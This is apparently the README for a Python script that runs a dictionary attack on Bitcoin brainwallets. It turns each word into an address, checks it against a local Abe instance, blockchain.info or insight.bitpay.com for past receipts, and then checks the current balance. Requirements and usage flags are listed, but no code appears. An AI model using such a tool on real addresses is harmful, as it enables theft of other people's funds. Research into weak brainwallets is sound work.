A python script that performs a bruteforce dictionary attack on brainwallets. It takes a dictionary input file and converts each word into a bitcoin address. A lookup of this address is done either using a local Abe instance, blockchain.info, or insight.bitpay.com to see if any bitcoins have ever been received by this address. If so, it will do one more check to see the current balance for the bitcoin address.
#Requirements
- Dictionary file in UTF-8 format (other formats NOT SUPPORTED)
- Python 2.7 (3.x NOT SUPPORTED), requests, coinkit
pip install -r requirements.txt
#Usage
usage: bbb.py [-h] -t TYPE -d DICT_FILE -o OUTPUT_FILE [-s SERVER] [-p PORT]
[-c CHAIN] [-k] [--version]
